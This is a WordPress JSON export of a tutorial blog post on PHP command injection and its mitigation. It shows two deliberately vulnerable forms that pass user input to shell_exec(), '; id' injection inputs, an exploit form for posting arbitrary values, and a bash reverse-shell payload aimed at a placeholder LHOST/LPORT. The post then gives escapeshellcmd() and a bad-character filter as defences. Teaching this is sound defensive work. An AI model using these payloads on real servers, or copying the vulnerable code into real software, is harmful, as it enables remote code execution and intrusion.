{"id":137,"date":"2021-05-15T04:00:01","date_gmt":"2021-05-15T04:00:01","guid":{"rendered":"https:\/\/johnlradford.io\/?p=137"},"modified":"2021-07-08T22:27:04","modified_gmt":"2021-07-08T22:27:04","slug":"basic-php-injection-and-protection","status":"publish","type":"post","link":"https:\/\/johnlradford.io\/blog\/2021\/05\/15\/basic-php-injection-and-protection\/","title":{"rendered":"Basic PHP Injection and Protection"},"content":{"rendered":"\n<p class=\"wp-block-paragraph\">So first off, I&#8217;m not a PHP developer and I don&#8217;t really know PHP all that well. But I have found ways to exploit my own PHP scripts and so I&#8217;d like to document that here. That&#8217;s all this is. Some basic PHP exploitation examples followed by the protection methods I&#8217;ve used to prevent my scripts from becoming a gateway for Remote Code Execution (RCE) and Remote Shells.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Don&#8217;t use shell_exec(), system(), passthru(), or exec() in conjunction with forms <\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">In general, if you&#8217;re using <em>shell_exec()<\/em> then you&#8217;re probably doing it wrong. PHP has a lot of builtin tools that mimic the UNIX core utilities and you don&#8217;t need to reach out to the shell in order to compute md5 hashes or write to files. But if you&#8217;re going to use <em>shell_exec()<\/em>, <u>never let user input get onto the shell!<\/u> The following is an example of what happens if you do.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Example One,<\/h2>\n\n\n\n<h3 class=\"has-text-align-center wp-block-heading\"><strong><span style=\"color:#f80904\" class=\"has-inline-color\">\\\/\\\/ !!Do Not Use!! \\\/\\\/<\/span><\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><em>badform.php<\/em> <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;!doctype html&gt;\n&lt;html&gt;\n&lt;head&gt;\n  &lt;title&gt;Bad Form!&lt;\/title&gt;\n  &lt;meta name=\"description\" content=\"Bad PHP Form\"&gt;\n  &lt;meta name=\"keywords\" content=\"!!!For Testing Only!!!\"&gt;\n&lt;\/head&gt;\n\n&lt;body&gt;\n\t&lt;form action=\"badform.php\" method=\"post\"&gt;\n\t\tName: &lt;input type=\"text\" name=\"nombre\"&gt;&lt;br&gt;\n\t\t&lt;input type=\"submit\"&gt;\n\t&lt;\/form&gt;\n\n&lt;?php\n\tif ($_POST&#91;\"nombre\"] != NULL){\n\t$name = $_POST&#91;\"nombre\"];\n\t$output = shell_exec(\"echo $name &gt;&gt; name.log;echo $name\");\n\techo \"$output\";\n\t}\n?&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">That form sucks. The problem is it takes user input right from the text box and runs it in a shell. With a little injection, the above form pretty much allows the website visitor to run anything they&#8217;d like on the web server (permissions permitting of course). <br><br>We can demonstrate this by putting any command into the form prefixed by the <em>; <\/em>character.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Input:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>; id<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"872\" height=\"352\" src=\"https:\/\/johnlradford.io\/blog\/wp-content\/uploads\/2021\/05\/badform.png\" alt=\"\" class=\"wp-image-168\" srcset=\"https:\/\/johnlradford.io\/blog\/wp-content\/uploads\/2021\/05\/badform.png 872w, https:\/\/johnlradford.io\/blog\/wp-content\/uploads\/2021\/05\/badform-300x121.png 300w, https:\/\/johnlradford.io\/blog\/wp-content\/uploads\/2021\/05\/badform-768x310.png 768w\" sizes=\"auto, (max-width: 872px) 100vw, 872px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Output:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>uid=1000(webguy1) gid=100(users) groups=100(users),(sudo),126(sambashare)<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"362\" src=\"https:\/\/johnlradford.io\/blog\/wp-content\/uploads\/2021\/05\/badform_injection-1024x362.png\" alt=\"\" class=\"wp-image-169\" srcset=\"https:\/\/johnlradford.io\/blog\/wp-content\/uploads\/2021\/05\/badform_injection-1024x362.png 1024w, https:\/\/johnlradford.io\/blog\/wp-content\/uploads\/2021\/05\/badform_injection-300x106.png 300w, https:\/\/johnlradford.io\/blog\/wp-content\/uploads\/2021\/05\/badform_injection-768x271.png 768w, https:\/\/johnlradford.io\/blog\/wp-content\/uploads\/2021\/05\/badform_injection.png 1166w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">We can see what&#8217;s happening here if we evaluate the shell expression a little closer.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">We start with what&#8217;s inside of the <em>shell_exec()<\/em>:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>echo $name &gt;&gt; name.log;echo $name<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Which evaluates to the following when <em>$name<\/em> is replaced with <em>; id<\/em><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>echo ; id &gt;&gt; name.log;echo ; id<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">It should be clear now how the expression is evaluated by the shell. First <em>echo<\/em> runs with no arguments, so does nothing. Then <em>id<\/em> is run and its output is directed into <em>name.log<\/em>. Then again <em>echo<\/em> is run with no arguments. And finally <em>id<\/em> is run again and its output is returned to the screen via PHP. If we check <em>name.log<\/em> we&#8217;ll find the most recent line of the file is the output of <em>id<\/em>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">If we injected the following into the form we could use it to send ourselves a <a href=\"https:\/\/www.youtube.com\/watch?v=rL3yq5a_vNM\" data-type=\"URL\" data-id=\"https:\/\/www.youtube.com\/watch?v=rL3yq5a_vNM\">reverse shell<\/a>. <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>; bash -c \"bash -i &gt;&amp; \/dev\/tcp\/LHOST\/LPORT 0&gt;&amp;1\"<\/code><\/pre>\n\n\n\n<h2 class=\"wp-block-heading\">Mitigation:<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">The most minimal way to protect your form from this is with the basic PHP sanitization function, <em><a href=\"https:\/\/www.php.net\/manual\/en\/function.escapeshellcmd.php\" data-type=\"URL\" data-id=\"https:\/\/www.php.net\/manual\/en\/function.escapeshellcmd.php\">escapeshellcmd()<\/a><\/em>. The addition of a single line makes our bad form just a little bit better.<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n        if ($_POST&#91;\"nombre\"] != NULL){\n        $name = $_POST&#91;\"nombre\"];\n        $name = escapeshellcmd($name);      \/\/ &lt;-- Newly Added Line\n        $output = shell_exec(\"echo \\\"$name\\\" &gt;&gt; name.log;echo \\\"$name\\\"\");  \/\/ Escaped Quotes Around $Vars For Demonstration \n        echo \"$output\";\n        }   \n?&gt;\n<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">We can place some escaped quotes around the <em>$name<\/em> variable in PHP to see what the <em>escapeshellcmd()<\/em> function is actually doing. <\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"862\" height=\"346\" src=\"https:\/\/johnlradford.io\/blog\/wp-content\/uploads\/2021\/05\/escapeshellcmd.png\" alt=\"\" class=\"wp-image-176\" srcset=\"https:\/\/johnlradford.io\/blog\/wp-content\/uploads\/2021\/05\/escapeshellcmd.png 862w, https:\/\/johnlradford.io\/blog\/wp-content\/uploads\/2021\/05\/escapeshellcmd-300x120.png 300w, https:\/\/johnlradford.io\/blog\/wp-content\/uploads\/2021\/05\/escapeshellcmd-768x308.png 768w\" sizes=\"auto, (max-width: 862px) 100vw, 862px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">It makes sure any of the common shell characters are prefixed with a <em>\\<\/em> character so they&#8217;re not interpreted by the shell. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ideally, you&#8217;d employ additional sanitization on the input. And really ideally you&#8217;d <u>never use <em>shell_exec() <\/em>to take data from a form!<\/u> But I take it you&#8217;re already past that point now.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><\/p>\n\n\n\n<h2 class=\"wp-block-heading\">Example 2,<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Even forms that are not intended to take input directly from the user may be vulnerable if the submitted form data is passed to a <em>shell_exec()<\/em>. As we&#8217;ve seen from the above example any input taken via a form that runs in a <em>shell_exec() <\/em>is vulnerable to exploitation. See the following example second bad form below.<\/p>\n\n\n\n<h3 class=\"has-text-align-center wp-block-heading\"><strong><span style=\"color:#f80904\" class=\"has-inline-color\">\\\/\\\/ !!Do Not Use!! \\\/\\\/<\/span><\/strong><\/h3>\n\n\n\n<p class=\"wp-block-paragraph\"><em>badform2.php<\/em><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;!doctype html&gt;\n&lt;html&gt;\n&lt;head&gt;\n  &lt;title&gt;Bad Form 2!&lt;\/title&gt;\n  &lt;meta name=\"description\" content=\"Second Bad PHP Form\"&gt;\n  &lt;meta name=\"keywords\" content=\"!!!For Testing Only!!!\"&gt;\n&lt;\/head&gt;\n\n&lt;body&gt;\n\t&lt;form action=\"badform2.php\" id=\"showform\" method=\"post\"&gt;\n  \t    &lt;select name=\"show\" id=\"showform\"&gt;\n\t\t&lt;option&gt;30 Rock (2005)&lt;\/option&gt;\n\t\t&lt;option&gt;Adventure Time (2008)&lt;\/option&gt;\n\t\t&lt;option&gt;Black Mirror (2011)&lt;\/option&gt;\n\t\t&lt;option&gt;Chappelle's Show (2003)&lt;\/option&gt;\n\t\t&lt;option&gt;&lt;\/option&gt; \n\t\t&lt;\/select&gt;\n            &lt;input type=\"submit\" name=\"tv\" value=\"Submit Selected\"&gt;\n        &lt;\/form&gt;\n\n&lt;?php\n\n\tif ($_POST&#91;\"show\"]){\n\t\t$show = $_POST&#91;\"show\"];\n\t\t$output = shell_exec(\"\/path\/to\/show_info.sh $show\");\n\t\techo \"&lt;br&gt;\\n$output\";\n\t}\n?&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"856\" height=\"300\" src=\"https:\/\/johnlradford.io\/blog\/wp-content\/uploads\/2021\/05\/badform2.png\" alt=\"\" class=\"wp-image-260\" srcset=\"https:\/\/johnlradford.io\/blog\/wp-content\/uploads\/2021\/05\/badform2.png 856w, https:\/\/johnlradford.io\/blog\/wp-content\/uploads\/2021\/05\/badform2-300x105.png 300w, https:\/\/johnlradford.io\/blog\/wp-content\/uploads\/2021\/05\/badform2-768x269.png 768w\" sizes=\"auto, (max-width: 856px) 100vw, 856px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">The above web page takes data from a preset list of inputs, so you might think its safe to use its input in a <em>shell_exec()<\/em>. But you&#8217;d be wrong. Remember the PHP code in question just accepts a POST request and doesn&#8217;t care what&#8217;s inside of it. So we can copy some of the html from badform2.php into our own exploit form and use it to achieve RCE on the bad form&#8217;s web server. <\/p>\n\n\n\n<p class=\"wp-block-paragraph\"> <em>exploitform.html,<\/em><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;!doctype html&gt;\n&lt;html&gt;\n&lt;head&gt;\n&lt;\/head&gt;\n\t&lt;form action=\"http:\/\/yoursite.com\/badform2.php\" id=\"showform\" method=\"post\"&gt;\n\t\t&lt;input type=\"text\" name=\"show\" id=\"showform\"&gt;\n\t\t&lt;input type=\"submit\" name=\"tv\" value=\"Submit Selected\"&gt;\n\t&lt;\/form&gt;\t\n&lt;body&gt;\n&lt;\/body&gt;\n&lt;\/html&gt;<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"822\" height=\"286\" src=\"https:\/\/johnlradford.io\/blog\/wp-content\/uploads\/2021\/05\/exploitform-2.png\" alt=\"\" class=\"wp-image-153\" srcset=\"https:\/\/johnlradford.io\/blog\/wp-content\/uploads\/2021\/05\/exploitform-2.png 822w, https:\/\/johnlradford.io\/blog\/wp-content\/uploads\/2021\/05\/exploitform-2-300x104.png 300w, https:\/\/johnlradford.io\/blog\/wp-content\/uploads\/2021\/05\/exploitform-2-768x267.png 768w\" sizes=\"auto, (max-width: 822px) 100vw, 822px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Now we have the ability to input whatever data we&#8217;d like into the form. We can use the same trick as before with the <em>;<\/em> character to run our own commands on the web server through <em>badform2.php<\/em>.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Input:<\/strong><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>; id<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"802\" height=\"250\" src=\"https:\/\/johnlradford.io\/blog\/wp-content\/uploads\/2021\/05\/exploitform-4.png\" alt=\"\" class=\"wp-image-171\" srcset=\"https:\/\/johnlradford.io\/blog\/wp-content\/uploads\/2021\/05\/exploitform-4.png 802w, https:\/\/johnlradford.io\/blog\/wp-content\/uploads\/2021\/05\/exploitform-4-300x94.png 300w, https:\/\/johnlradford.io\/blog\/wp-content\/uploads\/2021\/05\/exploitform-4-768x239.png 768w\" sizes=\"auto, (max-width: 802px) 100vw, 802px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\"><strong>Output:<\/strong><\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"293\" src=\"https:\/\/johnlradford.io\/blog\/wp-content\/uploads\/2021\/05\/rce_on_badform2-2-1024x293.png\" alt=\"\" class=\"wp-image-161\" srcset=\"https:\/\/johnlradford.io\/blog\/wp-content\/uploads\/2021\/05\/rce_on_badform2-2-1024x293.png 1024w, https:\/\/johnlradford.io\/blog\/wp-content\/uploads\/2021\/05\/rce_on_badform2-2-300x86.png 300w, https:\/\/johnlradford.io\/blog\/wp-content\/uploads\/2021\/05\/rce_on_badform2-2-768x220.png 768w, https:\/\/johnlradford.io\/blog\/wp-content\/uploads\/2021\/05\/rce_on_badform2-2.png 1326w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/figure>\n\n\n\n<h2 class=\"wp-block-heading\">Mitigation:<\/h2>\n\n\n\n<p class=\"wp-block-paragraph\">Once again, even though the form was not supposed to be used to submit input in this way, PHP doesn&#8217;t care. It will take the data its given and run it on the shell. In this case you could and should use <em>escapeshellcmd()<\/em> to prevent the interpretation of the shell characters. However, since the majority of the shell characters don&#8217;t appear in the tv show titles anyways we can also refuse to process anything further if we detect a bad char.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Disclaimer: The following is my own shitty PHP solution. I&#8217;m sure there are better ways to do this, but hey it works. <\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&lt;?php\n\tif ($_POST&#91;\"show\"] !== NULL){\n\t\t$show = $_POST&#91;\"show\"];\n\t\t$hax_dossier = array(\";\", \"&gt;\", \"&lt;\", \"#\", \"&amp;\", \"\/\", \"~\", \"`\", \"$\", \"*\", \"\\\\\", \"|\", \"&#91;\", \"]\", \"{\", \"}\");\n\n\t\tforeach($hax_dossier as $hax_implement){\n\t\t\tif (strpos($show, $hax_implement) !== false) {\n\t\t\t\texit(\"707 Hax Not Found\");\n\t\t        }\n\t        }\n\t\t\n\t        $sanatized_show = str_replace(\" \", \"\\\\ \", escapeshellcmd($show));\n\t        $output = shell_exec(\"\/path\/to\/show_info.sh $sanatized_show\");\n\t        echo \"&lt;br&gt;\\n$output\";\n\t}\n?&gt;<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Once again, the real solution is to not use <em>shell_exec()<\/em> with any data taken via a form. But if you have to do it, don&#8217;t put it on the public internet and make sure to sanitize your inputs. And as always try to hack your own creations and see if you can get in. Then see if you can patch it.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Thank you for reading!<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">John R.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">Ft. <span style=\"color:#fc0501\" class=\"has-inline-color\">Red 7<\/span><\/p>\n","protected":false},"excerpt":{"rendered":"<p>So first off, I&#8217;m not a PHP developer and I don&#8217;t really know PHP all that well. But I have found ways to exploit my own PHP scripts and so<span class=\"more-button\"><a href=\"https:\/\/johnlradford.io\/blog\/2021\/05\/15\/basic-php-injection-and-protection\/\" class=\"more-link\">Continue reading<span class=\"screen-reader-text\">Basic PHP Injection and Protection<\/span><\/a><\/span><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-137","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/johnlradford.io\/blog\/wp-json\/wp\/v2\/posts\/137","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/johnlradford.io\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/johnlradford.io\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/johnlradford.io\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/johnlradford.io\/blog\/wp-json\/wp\/v2\/comments?post=137"}],"version-history":[{"count":41,"href":"https:\/\/johnlradford.io\/blog\/wp-json\/wp\/v2\/posts\/137\/revisions"}],"predecessor-version":[{"id":349,"href":"https:\/\/johnlradford.io\/blog\/wp-json\/wp\/v2\/posts\/137\/revisions\/349"}],"wp:attachment":[{"href":"https:\/\/johnlradford.io\/blog\/wp-json\/wp\/v2\/media?parent=137"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/johnlradford.io\/blog\/wp-json\/wp\/v2\/categories?post=137"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/johnlradford.io\/blog\/wp-json\/wp\/v2\/tags?post=137"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}